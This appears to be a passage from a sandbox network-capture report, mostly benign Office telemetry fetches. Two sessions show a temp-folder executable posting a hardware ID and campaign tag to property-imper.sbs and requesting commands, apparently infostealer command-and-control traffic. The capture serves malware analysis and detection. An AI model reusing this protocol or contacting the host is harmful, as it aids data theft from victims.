2024-11-23 14:22:52 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 14:22:52 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:42 GMT ETag: "0x8DC582BDF1E2608" x-ms-request-id: ccc9fd57-201e-0096-041b-3dace6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T142252Z-178bfbc474btrnf9hC1NYCb80g00000004v00000000008tu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 14:22:52 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 33 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 63 72 69 70 74 4c 61 62 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 63 72 69 70 74 4c 61 62 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703350" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ScriptLab" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenScriptLab" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
136	192.168.2.4	49903	104.21.33.116	443	2484	C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 14:22:52 UTC	278	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=LUAKDBHM1Z3XF User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8760 Host: property-imper.sbs
2024-11-23 14:22:52 UTC	8760	OUT	Data Raw: 2d 2d 4c 55 41 4b 44 42 48 4d 31 5a 33 58 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 36 34 31 46 43 39 41 42 34 34 30 30 41 42 39 38 44 37 43 42 42 44 36 44 46 32 38 44 33 37 33 32 0d 0a 2d 2d 4c 55 41 4b 44 42 48 4d 31 5a 33 58 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 4c 55 41 4b 44 42 48 4d 31 5a 33 58 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d 2d 4c 55 41 4b 44 Data Ascii: --LUAKDBHM1Z3XFContent-Disposition: form-data; name="hwid"641FC9AB4400AB98D7CBBD6DF28D3732--LUAKDBHM1Z3XFContent-Disposition: form-data; name="pid"2--LUAKDBHM1Z3XFContent-Disposition: form-data; name="lid"LOGS11--LiveTraffic--LUAKD
2024-11-23 14:22:53 UTC	1015	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 14:22:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=oe9dt79gua0f5r0vvr2mi1ee0s; expires=Wed, 19-Mar-2025 08:09:32 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2BwapiVQ6NHtlNGzEZhxNq6ngjFVcT7LeJH%2BGT3eWF6bDYJTr4hmsXjBt76PpRUmTo0YEBTCaVO6Pwi7LM9rX5nIXdHCdi6aHSceX7xQO5%2BEW9Z1tCvBMHT3Rz4rkvPZjmfBelQ4%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e71d05a88a24262-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1562&sent=9&recv=15&lost=0&retrans=1&sent_bytes=4230&recv_bytes=9696&delivery_rate=314046&cwnd=206&unsent_bytes=0&cid=ab19414fa1e96879&ts=1535&x=0"
2024-11-23 14:22:53 UTC	19	IN	Data Raw: 65 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 37 35 0d 0a Data Ascii: eok 8.46.123.75
2024-11-23 14:22:53 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
137	192.168.2.4	49906	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 14:22:53 UTC	192	OUT	GET /rules/rule703501v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 14:22:54 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 14:22:54 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:59 GMT ETag: "0x8DC582BE8C605FF" x-ms-request-id: 5c785bae-401e-0083-638c-3a075c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T142254Z-178bfbc474bnwsh4hC1NYC2ubs00000004q0000000006uep x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 14:22:54 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 35 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 61 6e 64 62 6f 78 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 61 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703501" V="0" DC="SM" EN="Office.Telemetry.Event.Office.Sandbox.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSa

Session ID	Source IP	Source Port	Destination IP	Destination Port
138	192.168.2.4	49907	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 14:22:53 UTC	192	OUT	GET /rules/rule703500v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 14:22:54 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 14:22:54 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF497570" x-ms-request-id: 77142413-201e-000c-6b0a-3d79c4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T142254Z-15b8b599d88l2dpthC1TEBmzr000000003200000000057bh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 14:22:54 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 35 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 61 6e 64 62 6f 78 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 61 6e 64 62 6f 78 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703500" V="0" DC="SM" EN="Office.Telemetry.Event.Office.Sandbox" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSandbox" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
139	192.168.2.4	49908	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 14:22:53 UTC	192	OUT	GET /rules/rule701801v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 14:22:54 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 14:22:54 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC2EEE03" x-ms-request-id: 18ec886b-801e-0078-7044-3cbac6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T142254Z-15b8b599d88vp97chC1TEB5pzw0000000330000000004e58 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 14:22:54 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 38 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 73 6f 75 72 63 65 73 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701801" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Resources.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
140	192.168.2.4	49909	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 14:22:54 UTC	192	OUT	GET /rules/rule701800v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 14:22:54 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 14:22:54 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:01 GMT ETag: "0x8DC582BEA414B16" x-ms-request-id: 7bd1ae59-401e-008c-598c-3a86c2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T142254Z-178bfbc474bpnd5vhC1NYC4vr400000004mg000000006gnk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 14:22:54 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 38 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 73 6f 75 72 63 65 73 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 73 6f 75 72 63 65 73 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701800" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Resources" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenResources" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
141	192.168.2.4	49914	104.21.33.116	443	1244	C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 14:22:54 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 88 Host: property-imper.sbs
2024-11-23 14:22:54 UTC	88	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 26 6a 3d 26 68 77 69 64 3d 36 34 31 46 43 39 41 42 34 34 30 30 41 42 39 38 44 37 43 42 42 44 36 44 46 32 38 44 33 37 33 32 Data Ascii: act=get_message&ver=4.0&lid=LOGS11--LiveTraffic&j=&hwid=641FC9AB4400AB98D7CBBD6DF28D3732
2024-11-23 14:22:55 UTC	1012	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 14:22:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=sd0hpgnlaf4ulnot55hs08rskj; expires=Wed, 19-Mar-2025 08:09:33 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ZomO0EyQTEcllDxBNg8sxsXnbDwckBT%2FAEAYFBG7YqGsNAfcCo2dIeszVcErz2KMEbbLDVvCAjxTMV%2BwEtg2kXEiyWSA3GsWZZnjQbVWjuvzcrGjJfke%2BmS4qfLsIfjgk2wOY4M%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e71d066beb6428f-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1593&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2845&recv_bytes=990&delivery_rate=1770770&cwnd=83&unsent_bytes=0&cid=ddc8f862636213d6&ts=902&x=0"
2024-11-23 14:22:55 UTC	295	IN	Data Raw: 31 32 30 0d 0a 4d 63 42 70 34 59 67 52 34 53 38 55 66 5a 6e 56 48 42 58 6a 32 34 4c 5a 69 39 67 6b 49 66 53 39 65 65 6d 33 51 61 2f 6e 48 34 70 71 75 30 75 55 71 69 76 44 52 32 41 4a 36 65 39 41 4f 72 2f 30 73 2b 47 2b 39 68 59 51 77 5a 4e 49 32 49 52 76 6e 74 46 44 70 56 36 6d 44 37 32 6e 64 59 52 4a 4f 68 6a 68 73 44 34 35 77 62 33 32 2b 37 48 6f 43 41 4f 52 6e 30 50 59 79 6d 33 55 78 57 71 6f 43 2b 49 42 6c 66 78 68 32 33 4d 37 49 62 62 6b 4a 43 44 4e 36 62 50 73 70 65 6b 56 45 74 71 4d 54 37 57 59 4d 74 75 43 66 75 64 74 37 78 75 41 35 6e 57 4f 51 6a 6f 59 34 62 41 2b 4f 63 47 39 39 76 75 78 36 41 67 44 6b 5a 39 44 32 63 70 74 31 4d 56 71 71 41 76 69 41 5a 58 38 59 64 74 7a 4f 79 47 32 35 69 30 37 31 2b 71 73 36 37 2f 73 43 68 44 46 34 56 61 50 33 69 Data Ascii: 120McBp4YgR4S8UfZnVHBXj24LZi9gkIfS9eem3Qa/nH4pqu0uUqivDR2AJ6e9AOr/0s+G+9hYQwZNI2IRvntFDpV6mD72ndYRJOhjhsD45wb32+7HoCAORn0PYym3UxWqoC+IBlfxh23M7IbbkJCDN6bPspekVEtqMT7WYMtuCfudt7xuA5nWOQjoY4bA+OcG99vux6AgDkZ9D2cpt1MVqqAviAZX8YdtzOyG25i071+qs67/sChDF4VaP3i
2024-11-23 14:22:55 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
142	192.168.2.4	49910	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 14:22:54 UTC	192	OUT	GET /rules/rule701051v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 14:22:54 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 14:22:54 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:47 GMT ETag: "0x8DC582BE1CC18CD" x-ms-request-id: ebbdbf89-001e-00a2-5a6a-3cd4d5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T142254Z-174c587ffdfx984chC1TEB676g000000031g000000009vrq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 14:22:54 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 30 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 6c 65 61 73 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701051" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Release.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenRe

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
143	192.168.2.4	49915	23.218.208.109	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 14:22:55 UTC	161	OUT	HEAD /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-11-23 14:22:55 UTC	479	IN	HTTP/1.1 200 OK Content-Type: application/octet-stream Server: Kestrel ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-eus-z1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json X-OSID: 2 X-CID: 2 X-CCC: GB Cache-Control: public, max-age=241836 Date: Sat, 23 Nov 2024 14:22:55 GMT Connection: close X-CID: 2

Session ID	Source IP	Source Port	Destination IP	Destination Port
144	192.168.2.4	49918	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 14:22:56 UTC	192	OUT	GET /rules/rule702751v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 14:22:56 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 14:22:56 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB866CDB" x-ms-request-id: e8d3758b-d01e-0066-2757-3cea17000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T142256Z-15b8b599d88tr2flhC1TEB5gk400000003600000000081ag x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 14:22:56 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 37 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 75 62 6c 69 73 68 65 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702751" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Publisher.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
145	192.168.2.4	49919	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 14:22:56 UTC	192	OUT	GET /rules/rule702750v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 14:22:56 UTC	515	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 14:22:56 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:54 GMT ETag: "0x8DC582BE5B7B174" x-ms-request-id: e7f827c2-101e-005a-4855-3d882b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T142256Z-174c587ffdf9xbcchC1TEBxkz400000002wg00000000ba39 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-23 14:22:56 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 37 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 75 62 6c 69 73 68 65 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 75 62 6c 69 73 68 65 72 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702750" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Publisher" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPublisher" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
146	192.168.2.4	49917	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 14:22:56 UTC	192	OUT	GET /rules/rule701050v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 14:22:56 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 14:22:56 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB256F43" x-ms-request-id: 919fe78e-701e-0001-556c-3db110000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T142256Z-15b8b599d882zv28hC1TEBdchn00000002zg000000006s3n x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
